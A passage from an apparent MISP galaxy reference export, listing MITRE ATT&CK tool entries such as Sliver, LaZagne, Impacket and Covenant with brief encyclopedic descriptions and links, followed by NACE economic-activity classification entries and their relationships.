[Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control (C2) framework written in Golang. [Sliver](https://attack.mitre.org/software/S0633) includes its own package manager, "armory," for staging and downloading additional tools and payloads to the primary C2 framework.(Citation: Bishop Fox Sliver Framework August 2019)(Citation: Cybereason Sliver Undated)

The tag is: *misp-galaxy:mitre-tool="Sliver - S0633"*

Sliver - S0633 is also known as:

- Sliver

Table 11785. Table References

Links
https://attack.mitre.org/software/S0633
https://labs.bishopfox.com/tech-blog/sliver
https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors

RawDisk - S0364

[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-tool="RawDisk - S0364"*

RawDisk - S0364 is also known as:

- RawDisk

Table 11786. Table References

Links
https://attack.mitre.org/software/S0364
https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp

LaZagne - S0349

[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)

The tag is: *misp-galaxy:mitre-tool="LaZagne - S0349"*

LaZagne - S0349 is also known as:

- LaZagne

Table 11787. Table References

Links
https://attack.mitre.org/software/S0349
https://github.com/AlessandroZ/LaZagne

Impacket - S0357

[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)

The tag is: *misp-galaxy:mitre-tool="Impacket - S0357"*

Impacket - S0357 is also known as:

- Impacket

Table 11788. Table References

Links
https://attack.mitre.org/software/S0357
https://www.secureauth.com/labs/open-source-tools/impacket

Ruler - S0358

[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)

The tag is: *misp-galaxy:mitre-tool="Ruler - S0358"*

Ruler - S0358 is also known as:

- Ruler

Table 11789. Table References

Links
https://attack.mitre.org/software/S0358
https://github.com/sensepost/notruler
https://github.com/sensepost/ruler

Nltest - S0359

[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)

The tag is: *misp-galaxy:mitre-tool="Nltest - S0359"*

Nltest - S0359 is also known as:

- Nltest

Table 11790. Table References

Links
https://attack.mitre.org/software/S0359
https://ss64.com/nt/nltest.html

Peirates - S0683

[Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)

The tag is: *misp-galaxy:mitre-tool="Peirates - S0683"*

Peirates - S0683 is also known as:

- Peirates

Table 11791. Table References

Links
https://attack.mitre.org/software/S0683
https://github.com/inguardians/peirates

ShimRatReporter - S0445

[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-tool="ShimRatReporter - S0445"*

ShimRatReporter - S0445 is also known as:

- ShimRatReporter

Table 11792. Table References

Links
https://attack.mitre.org/software/S0445
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

CARROTBALL - S0465

[CARROTBALL](https://attack.mitre.org/software/S0465) is an FTP downloader utility that has been in use since at least 2019. [CARROTBALL](https://attack.mitre.org/software/S0465) has been used as a downloader to install [SYSCON](https://attack.mitre.org/software/S0464).(Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-tool="CARROTBALL - S0465"*

CARROTBALL - S0465 is also known as:

- CARROTBALL

Table 11793. Table References

Links
https://attack.mitre.org/software/S0465

https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

Wevtutil - S0645

[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)

The tag is: *misp-galaxy:mitre-tool="Wevtutil - S0645"*

Wevtutil - S0645 is also known as:

- Wevtutil

Table 11794. Table References

Links
https://attack.mitre.org/software/S0645
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

ROADTools - S0684

[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)

The tag is: *misp-galaxy:mitre-tool="ROADTools - S0684"*

ROADTools - S0684 is also known as:

- ROADTools

Table 11795. Table References

Links
https://attack.mitre.org/software/S0684
https://github.com/dirkjanm/ROADtools

CrackMapExec - S0488

[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)

The tag is: *misp-galaxy:mitre-tool="CrackMapExec - S0488"*

CrackMapExec - S0488 is also known as:

- CrackMapExec

Table 11796. Table References

Links
https://attack.mitre.org/software/S0488
https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference

Donut - S0695

[Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)

The tag is: *misp-galaxy:mitre-tool="Donut - S0695"*

Donut - S0695 is also known as:

- Donut

Table 11797. Table References

Links
https://attack.mitre.org/software/S0695
https://github.com/TheWover/donut
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://thewover.github.io/Introducing-Donut/

AADInternals - S0677

[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)

The tag is: *misp-galaxy:mitre-tool="AADInternals - S0677"*

AADInternals - S0677 is also known as:

- AADInternals

Table 11798. Table References

Links

https://attack.mitre.org/software/S0677
https://github.com/Gerenios/AADInternals
https://o365blog.com/aadinternals
https://o365blog.com/aadinternals/

Mythic - S0699

[Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to "plug-n-play" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)

The tag is: *misp-galaxy:mitre-tool="Mythic - S0699"*

Mythic - S0699 is also known as:

- Mythic

Table 11799. Table References

Links
https://attack.mitre.org/software/S0699
https://docs.mythic-c2.net/
https://github.com/its-a-feature/Mythic
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://posts.specterops.io/a-change-of-mythic-proportions-21debeb03617

NPPSPY - S1131

NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.(Citation: Huntress NPPSPY 2022)(Citation: Polak NPPSPY 2004)

The tag is: *misp-galaxy:mitre-tool="NPPSPY - S1131"*

NPPSPY - S1131 is also known as:

- NPPSPY

Table 11800. Table References

Links
https://attack.mitre.org/software/S1131

https://www.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf
https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy

FRP - S1144

[FRP](https://attack.mitre.org/software/S1144), which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. [FRP](https://attack.mitre.org/software/S1144) can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.(Citation: FRP GitHub)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: RedCanary Mockingbird May 2020)(Citation: DFIR Phosphorus November 2021)

The tag is: *misp-galaxy:mitre-tool="FRP - S1144"*

FRP - S1144 is also known as:

- FRP

Table 11801. Table References

Links
https://attack.mitre.org/software/S1144
https://github.com/fatedier/frp
https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
https://redcanary.com/blog/blue-mockingbird-cryptominer/
https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/

Covenant - S1155

[Covenant](https://attack.mitre.org/software/S1155) is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as [HAFNIUM](https://attack.mitre.org/groups/G0125) during operations. [Covenant](https://attack.mitre.org/software/S1155) functions through a central listener managing multiple deployed "Grunts" that communicate back to the controller.(Citation: Github Covenant)(Citation: Microsoft HAFNIUM March 2020)

The tag is: *misp-galaxy:mitre-tool="Covenant - S1155"*

Covenant - S1155 is also known as:

- Covenant

Table 11802. Table References

Links

https://attack.mitre.org/software/S1155
https://github.com/cobbr/Covenant
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

attrib - S1176

[attrib](https://attack.mitre.org/software/S1176) is a Windows utility used to display, set or remove attributes assigned to files or directories.(Citation: Microsoft attrib 2023)

The tag is: *misp-galaxy:mitre-tool="attrib - S1176"*

attrib - S1176 is also known as:

- attrib
- attrib.exe

Table 11803. Table References

Links
https://attack.mitre.org/software/S1176
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib

NACE

version 2.1 - The Statistical Classification of Economic Activities in the European Community, commonly referred to as NACE (for the French term "nomenclature statistique des activités économiques dans la Communauté européenne"), is the industry standard classification system used in the European Union..

NACE is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

=== A

The tag is: *misp-galaxy:NACE="A"*

View relationships graph

A has relationships with:

- similar: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="01" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="02" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="03" with estimative-language:likelihood-probability="likely"

Table 11804. Table References

Links
http://data.europa.eu/ux2/nace2/A

B

The tag is: *misp-galaxy:NACE="B"*

View relationships graph

B has relationships with:

- similar: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="05" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="06" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="07" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="08" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="09" with estimative-language:likelihood-probability="likely"

Table 11805. Table References

Links
http://data.europa.eu/ux2/nace2/B

C

The tag is: *misp-galaxy:NACE="C"*

View relationships graph

C has relationships with:

- similar: misp-galaxy:NACE="E" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="M" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="10" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="12" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="13" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="14" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="15" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="16" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="17" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="18" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="19" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="20" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="21" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="22" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="24" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="25" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="29" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="31" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="33" with estimative-language:likelihood-probability="likely"

Table 11806. Table References

Links
http://data.europa.eu/ux2/nace2/C

D

The tag is: *misp-galaxy:NACE="D"*

View relationships graph

D has relationships with:

- similar: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="35" with estimative-language:likelihood-probability="likely"

Table 11807. Table References

Links
http://data.europa.eu/ux2/nace2/D

E

The tag is: *misp-galaxy:NACE="E"*

View relationships graph

E has relationships with:

- parent-of: misp-galaxy:NACE="36" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="37" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="38" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="39" with estimative-language:likelihood-probability="likely"

Table 11808. Table References

Links
http://data.europa.eu/ux2/nace2/E

F

The tag is: *misp-galaxy:NACE="F"*

View relationships graph

F has relationships with:

- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="41" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="42" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 11809. Table References

Links
http://data.europa.eu/ux2/nace2/F

G

The tag is: *misp-galaxy:NACE="G"*

View relationships graph

G has relationships with:

- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 11810. Table References

Links

http://data.europa.eu/ux2/nace2/G

H

The tag is: *misp-galaxy:NACE="H"*

View relationships graph

H has relationships with:

- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="S" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="50" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="53" with estimative-language:likelihood-probability="likely"

Table 11811. Table References

Links
http://data.europa.eu/ux2/nace2/H

I

The tag is: *misp-galaxy:NACE="I"*

View relationships graph

I has relationships with:

- similar: misp-galaxy:NACE="L" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="55" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="56" with estimative-language:likelihood-probability="likely"

Table 11812. Table References

Links
http://data.europa.eu/ux2/nace2/I

J

The tag is: *misp-galaxy:NACE="J"*

View relationships graph

J has relationships with:

- similar: misp-galaxy:NACE="M" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="R" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="58" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="59" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="60" with estimative-language:likelihood-probability="likely"

Table 11813. Table References

Links
http://data.europa.eu/ux2/nace2/J

K

The tag is: *misp-galaxy:NACE="K"*

View relationships graph

K has relationships with:

- similar: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="J" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="61" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="63" with estimative-language:likelihood-probability="likely"

Table 11814. Table References

Links
http://data.europa.eu/ux2/nace2/K

L

The tag is: *misp-galaxy:NACE="L"*

View relationships graph

L has relationships with:

- similar: misp-galaxy:NACE="K" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="64" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="65" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="66" with estimative-language:likelihood-probability="likely"

Table 11815. Table References

Links
http://data.europa.eu/ux2/nace2/L

M

The tag is: *misp-galaxy:NACE="M"*

View relationships graph

M has relationships with:

- similar: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="L" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="68" with estimative-language:likelihood-probability="likely"

Table 11816. Table References

Links
http://data.europa.eu/ux2/nace2/M

N

The tag is: *misp-galaxy:NACE="N"*

View relationships graph

N has relationships with:

- similar: misp-galaxy:NACE="M" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="69" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="70" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="71" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="72" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="73" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="75" with estimative-language:likelihood-probability="likely"

Table 11817. Table References

Links

http://data.europa.eu/ux2/nace2/N

O

The tag is: *misp-galaxy:NACE="O"*

View relationships graph

O has relationships with:

- similar: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="M" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="77" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="78" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="80" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="81" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

Table 11818. Table References

Links
http://data.europa.eu/ux2/nace2/O

P

The tag is: *misp-galaxy:NACE="P"*

View relationships graph

P has relationships with:

- similar: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="R" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="84" with estimative-language:likelihood-probability="likely"

Table 11819. Table References

Links
http://data.europa.eu/ux2/nace2/P

Q

The tag is: *misp-galaxy:NACE="Q"*

View relationships graph

Q has relationships with:

- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="P" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 11820. Table References

Links
http://data.europa.eu/ux2/nace2/Q

R

The tag is: *misp-galaxy:NACE="R"*

View relationships graph

R has relationships with:

- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="P" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="Q" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="86" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="87" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="88" with estimative-language:likelihood-probability="likely"

Table 11821. Table References

Links
http://data.europa.eu/ux2/nace2/R

S

The tag is: *misp-galaxy:NACE="S"*

View relationships graph

S has relationships with:

- similar: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="P" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="R" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="90" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="91" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="93" with estimative-language:likelihood-probability="likely"

Table 11822. Table References

Links
http://data.europa.eu/ux2/nace2/S

T

The tag is: *misp-galaxy:NACE="T"*

View relationships graph

T has relationships with:

- similar: misp-galaxy:NACE="G" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="S" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="94" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="95" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"

Table 11823. Table References

Links
http://data.europa.eu/ux2/nace2/T

U

The tag is: *misp-galaxy:NACE="U"*

View relationships graph

U has relationships with:

- similar: misp-galaxy:NACE="T" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="97" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="98" with estimative-language:likelihood-probability="likely"

Table 11824. Table References

Links
http://data.europa.eu/ux2/nace2/U

V

The tag is: *misp-galaxy:NACE="V"*

View relationships graph

V has relationships with:

- similar: misp-galaxy:NACE="U" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 11825. Table References

Links
http://data.europa.eu/ux2/nace2/V

01

The tag is: *misp-galaxy:NACE="01"*

View relationships graph

01 has relationships with:

- child-of: misp-galaxy:NACE="A" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="011" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="012" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="013" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="014" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="015" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="016" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="017" with estimative-language:likelihood-probability="likely"

Table 11826. Table References

Links
http://data.europa.eu/ux2/nace2/01

02

The tag is: *misp-galaxy:NACE="02"*

View relationships graph

02 has relationships with:

- child-of: misp-galaxy:NACE="A" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="021" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="022" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="023" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="024" with estimative-language:likelihood-probability="likely"

Table 11827. Table References

Links
http://data.europa.eu/ux2/nace2/02

03

The tag is: *misp-galaxy:NACE="03"*

View relationships graph

03 has relationships with:

- similar: misp-galaxy:NACE="33" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="A" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="031" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="032" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="033" with estimative-language:likelihood-probability="likely"

Table 11828. Table References

Links
http://data.europa.eu/ux2/nace2/03

05

The tag is: *misp-galaxy:NACE="05"*

View relationships graph

05 has relationships with:

- similar: misp-galaxy:NACE="33" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="B" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="051" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="052" with estimative-language:likelihood-probability="likely"

Table 11829. Table References

Links
http://data.europa.eu/ux2/nace2/05

06

The tag is: *misp-galaxy:NACE="06"*

View relationships graph

06 has relationships with:

- child-of: misp-galaxy:NACE="B" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="061" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="062" with estimative-language:likelihood-probability="likely"

Table 11830. Table References

Links
http://data.europa.eu/ux2/nace2/06

07

The tag is: *misp-galaxy:NACE="07"*

View relationships graph

07 has relationships with:

- similar: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="B" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="071" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="072" with estimative-language:likelihood-probability="likely"

Table 11831. Table References

Links
http://data.europa.eu/ux2/nace2/07

08

The tag is: *misp-galaxy:NACE="08"*

View relationships graph

08 has relationships with:

- similar: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="B" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="081" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="089" with estimative-language:likelihood-probability="likely"

Table 11832. Table References

Links
http://data.europa.eu/ux2/nace2/08

09

The tag is: *misp-galaxy:NACE="09"*

View relationships graph

09 has relationships with:

- child-of: misp-galaxy:NACE="B" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="091" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="099" with estimative-language:likelihood-probability="likely"

Table 11833. Table References

Links
http://data.europa.eu/ux2/nace2/09

10

The tag is: *misp-galaxy:NACE="10"*

View relationships graph

10 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="101" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="102" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="103" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="104" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="105" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="106" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="107" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="108" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="109" with estimative-language:likelihood-probability="likely"

Table 11834. Table References

Links
http://data.europa.eu/ux2/nace2/10

11

The tag is: *misp-galaxy:NACE="11"*

View relationships graph

11 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="110" with estimative-language:likelihood-probability="likely"

Table 11835. Table References

Links
http://data.europa.eu/ux2/nace2/11

12

The tag is: *misp-galaxy:NACE="12"*

View relationships graph

12 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="120" with estimative-language:likelihood-probability="likely"

Table 11836. Table References

Links
http://data.europa.eu/ux2/nace2/12

13

The tag is: *misp-galaxy:NACE="13"*

View relationships graph

13 has relationships with:

- similar: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
